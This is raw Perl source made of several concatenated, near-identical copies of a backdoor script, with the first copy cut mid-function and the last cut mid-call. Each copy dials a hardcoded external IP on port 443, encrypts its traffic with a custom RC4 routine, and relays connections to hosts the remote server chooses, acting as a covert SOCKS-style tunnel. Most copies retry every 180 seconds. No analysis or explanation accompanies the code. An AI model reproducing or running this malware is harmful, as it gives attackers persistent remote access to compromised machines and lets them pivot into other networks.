pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.154'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '62.60.131.189'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], 